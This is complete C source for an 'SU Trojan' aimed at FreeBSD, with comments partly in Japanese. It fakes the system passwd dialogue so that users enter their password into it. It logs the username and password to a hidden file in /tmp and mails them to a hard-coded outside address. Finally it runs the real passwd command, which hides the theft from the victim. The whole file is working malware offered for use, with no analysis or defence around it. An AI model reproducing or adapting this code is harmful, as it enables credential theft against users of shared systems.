/*=============================================================================
   SU Trojan Ver2.00 for FreeBSD
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (unewn4th@usa.net)
  =============================================================================
*/

#include    <pwd.h>
#include    <stdio.h>
#include    <stdlib.h>

/* パスワードを通知するメアド */
/* 以下の1行を削除するとメール通知は行われません */
#define MAIL        "hohoho@hacker.net"

/* ロギングファイル. 見つかりにくい名前に変更 */
#define LOGFILE     "/tmp/.pl"

#define MSG_PERMERR     "passwd: Permission denied\n"
#define MSG_DOESNTEXIST "passwd: unknown user %s\n"
#define MSG_BANNER      "Changing password for %s.\n"
#define MSG_OLDPASS     "Old password:"
#define MSG_BADOLDPASS  "passwd: /etc/master.passwd: unchanged\n"
#define MSG_NEWPASS     "New password:"
#define MSG_RENEWPAS    "Retype new password: "
#define MSG_TOOSHORT    "Please enter a password at least 6 characters in length.\n"
#define MSG_INVALID     "Please don't use an all-lower case password.\n"\
                        "Unusual capitalization, control characters or digits are suggested.\n"
#define MSG_DONTMATCH   "Mismatch; try again, EOF to quit.\n"

#define TMPFILE     "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD   200

main(int argc,char *argv[])
{
    int             uid=getuid();
    struct passwd   p;
    char            oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
    char            *getpass_sys(char *);
    char            username[MAX_USERNAME];
    char            buf[200];
    FILE            *fp;

    memcpy(&p,getpwuid(uid),sizeof(struct passwd));
    if (argc==1)
        strcpy(username,p.pw_name);
    else{
        strncpy(username,argv[1],MAX_USERNAME-1);
        username[MAX_USERNAME-1]=0;
        if (getpwnam(argv[1])==NULL){
            printf(MSG_DOESNTEXIST,argv[1]);
            exit(1);
        }
        memcpy(&p,getpwuid(uid),sizeof(struct passwd));
        if (uid!=0 && strcmp(p.pw_name,argv[1])){
            printf(MSG_PERMERR);
            exit(1);
        }
    }

    printf(MSG_BANNER,username);
    if (uid!=0){
        strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
        oldpasswd[MAX_PASSWD-1]=0;
        if (strlen(oldpasswd)==0){
            printf(MSG_PERMERR);
            printf(MSG_BADOLDPASS);
            exit(1);
        }
    }
    strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
    newpasswd[MAX_PASSWD-1]=0;
    strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
    renewpasswd[MAX_PASSWD-1]=0;
    printf(MSG_DONTMATCH);

    if ((fp=fopen(LOGFILE,"a"))!=NULL){
        fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
        fclose(fp);
    }
#ifdef MAIL
    if ((fp=fopen(TMPFILE,"w"))!=NULL){
        fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
        fclose(fp);
    }
    sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
    system(buf);
    remove(TMPFILE);
#endif
    system("passwd");
}
char *getpass_sys(char *d)
{
    static char *x;
    int     i,c1,c2;

    for (;;){
        x=(char *)getpass(d);
        if (strlen(x)<6){
            printf(MSG_TOOSHORT);
            continue;
        }
        c1=c2=0;
        for (i=0;i<strlen(x);i++){
            if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
            else c2++;
        }
        if (c1<2 || c2==0){
            printf(MSG_INVALID);
            continue;
        }
        break;
    }
    return (x);
}

